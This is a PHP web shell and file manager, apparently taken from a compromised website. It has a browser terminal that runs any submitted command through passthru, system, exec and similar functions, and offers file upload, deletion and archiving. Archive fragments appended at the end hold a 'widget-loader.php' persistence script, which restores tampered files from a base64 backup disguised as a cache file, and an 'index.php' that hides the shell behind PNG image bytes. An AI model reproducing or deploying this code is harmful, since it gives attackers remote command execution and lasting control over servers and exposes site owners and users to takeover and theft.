    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:sd<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>sd<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="sd<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="sd<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			sd<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
			sd<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			sd<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     sd<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     sd<?php } ?>
                    
		     </td>
		<td>
		sd<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('file')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		sd<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
sd<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
sd<?php
    }
}
?>
</tbody>
</table>
<div class="row3">sd<?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


sd<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PK       S]R!( 
   
                  widget-loader.php.tarnu [        PK       S]Z: @  @             E
  index.php.tarnu [        PK       S])cJf  Jf              J index.php.php.tar.gznu [        PK       S]k++R  R               widget-loader.php.php.tar.gznu [        PK       S]&79 9 	             index.phpnu [        PK                                                                                                                                                                                                                                                                                                                                                                      widget-loader.php.tar                                                                               0000644                 00000005000 15243251040 0010560 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/widget-loader.php                                         0000644                 00000001672 15243251025 0020224 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
@error_reporting(0);
@ini_set('display_errors', 0);
if (isset($_GET['_ck_sub8i8'])) {
    echo '1';
    exit;
}
$myDir = dirname(__FILE__);
$rootHop = '../../..';
$siteRoot = ($rootHop === '' || $rootHop === '.') ? $myDir : $myDir . '/' . $rootHop;
$backupFile = $siteRoot . '/templates/cache/data/82a3968585a485ae93950bf7ce89f24b.dat';
if (!@file_exists($backupFile)) {
    http_response_code(404);
    echo '0';
    exit;
}
$json = @file_get_contents($backupFile);
if (!$json) {
    echo '0';
    exit;
}
$backup = @json_decode($json, true);
if (!$backup || !isset($backup['files'])) {
    echo '0';
    exit;
}
$restored = 0;
foreach ($backup['files'] as $file => $data) {
    $path = $siteRoot . '/' . $file;
    if (!file_exists($path) || md5_file($path) !== $data['md5']) {
        $content = base64_decode($data['content']);
        if (@file_put_contents($path, $content) !== false) {
            $restored++;
        }
    }
}
echo '1';
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      index.php.tar                                                                                       0000644                 00000240000 15243251040 0007141 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/www/zeuportail/assets/static/modules/364262/index.php                                          0000644                 00000234415 15243251040 0017352 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       ‰PNG

   
IHDR  6   £   7¾Âß  PLTEÿÿÿL‹õïïïåååLŒõOŽõÜÜÜRõI‰ôÙÙÙçççáááJ‰ñÞÞÞDU¶Oò6€ö©Çüb|‰ÕÕ×e÷÷÷ÒÒÖÛåð^w‡„«ôÍÍÓ^•óöôïEnÓBP°ÇÈÐDV´>…õpŠ•ÂÃÎüùîÊ×ñÃÇÉš¨°±óPo{~¦óZw…\tˆ>P³m öc˜ó°Æòäéï»Íñ«³¸2F³Yf¸ó÷ýŸ¾øÕáûéðýÚåûØÙá¢°Ôwœæ°ºÕÀÑñ‡¦å’©ßº¾ÏŸ¯Ú—¶óPt¢PƒÔ^r|t‡pƒ”}š„¢äMi“¡©—¤ª¬±½Mr¢ÕÏÉ¡¦Æ™Ñ’˜Â}„¿oy»½ÁÞhuÂ¨«Å–š¿þ­)€  (IDATxœíÝ
[ÚÈ p"&bEA gÓDQ«-½¸­v÷”êzzv{¶ÝïÿAÎÜ’L’É¥ä™$ÿgût­í®ù=ï;—db
…<yòäÉ“'Ož”äêæú¸õÄ^%ýÕ'•³‰ZÚZ(NÀqÒ_~2y=V+‘	!ì\%}Iäõd+Z-Œ
d±K¯b©…±md±K·ct(J) ¤K“¾†Õçªó,5Â¦f¯KÏŸWlÄ-ƒ]ÚŠ5²…³e°KÇË`S2×¥“Xj!lØ
\'}«N<¶52¸e®K—Â¶fI_ÇŠo±Æ–É.Åª–É.][æºt	l¤K·“¾Õ&[„éÒIÒ²Ú,ƒ”Ûë¤¯d¥‰Á©FØÎ’¾’•&š-MU³7—.…
—ÌÔ­ñH¶è¥lÙêÒ(¶8j´KÇI_Ê*Á­f±mÁiÒ×²Â,‡téyÒ×²Â„³ÅP#l¤K I_Ë
Æ ªárÛ {I_ÌêÂKÍaËT—³-¢ÆºtÏëáû>Ü'd*Ö@¶xj6.7¥Ûm¿yóF¯V«E”u.Þ]Ÿ A¬%­;l1Ñl5ºQxËÜt,W-ÆI•OQ8![\4Žté»>q{2ú3’¸	Øâ£qjô€\·kšíç°Éâæe[ÀÌÏßš(
Ë,t(
$”bfp±-fæR#_Z»]/©E@¶õ¤Iâ¤ƒŠ$ÒK¨¡j¨äs[X¹ÉPn˜m+ÔÂÎñÙÍl6;<¿ƒcƒï	[£»Ú}*ÃèÁ¦Ô7k=ÃXÃ1ŒžÑ¼ƒP
RC]Ú&lúúÓÙdèÒP6ÞM{”ÌŽaœW`€šªTpµ5P´˜n‚i¡˜´IŒ„±ÁÁÔcÆà¶QÁ‰Ô¬.ÅnåXÅ–>6ÞˆÐ\³Ø~m°.­ë™dS*ÂR³àZb7¥Cæ4)`·mš26elFê
w©é¸EÂ¥‹Mõ¨8Ü‡³ 5Ô¥m›­®G/CÒÅV™òfkÍÃ³í³óÙÔZ‰ª‘.¥nx|+G¹yÕ¤f«€™SZÆôzB7	°48Ä¿nª¡¥Û{êFØp½e‡
l÷œJ»Öú¶¤*pÜ4BÕTøÁìb·s[¬G¥f›Øµf4éÚÖ™*àÍM-D
uiŸÜ>Šç–&6xh±áÂòN `ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã	jª2qwiX½ùÔ¤bsËT¬­7PW£]ÚuØ´z©IÊŽ­b›Á§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{ƒPãY©‰"œUÙ\Ú°ÊM«÷ûýFch““MíXóÁ9ß£Ê`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GcnBPÁÀÞ8ð»Õ3Á†A¬K96D¶‹’^6{FèMì¡
7žmM°ÏRÅZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûÆ¶“
¶’ÊMŸqÙ°šÆ¦ˆÍ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoä;àf3¸L	LMïúB¶~Ý›*¶R%€„ßï[Kb´¶©¡rkX›+´EÐ6]/Zÿyá–A^6Ød×Õ
¾©Xy
…j
sd<?php
/* PHP File manager ver 1.5 */

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'de';
$detect_lang = true;
$fm_version = 1.6;



// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
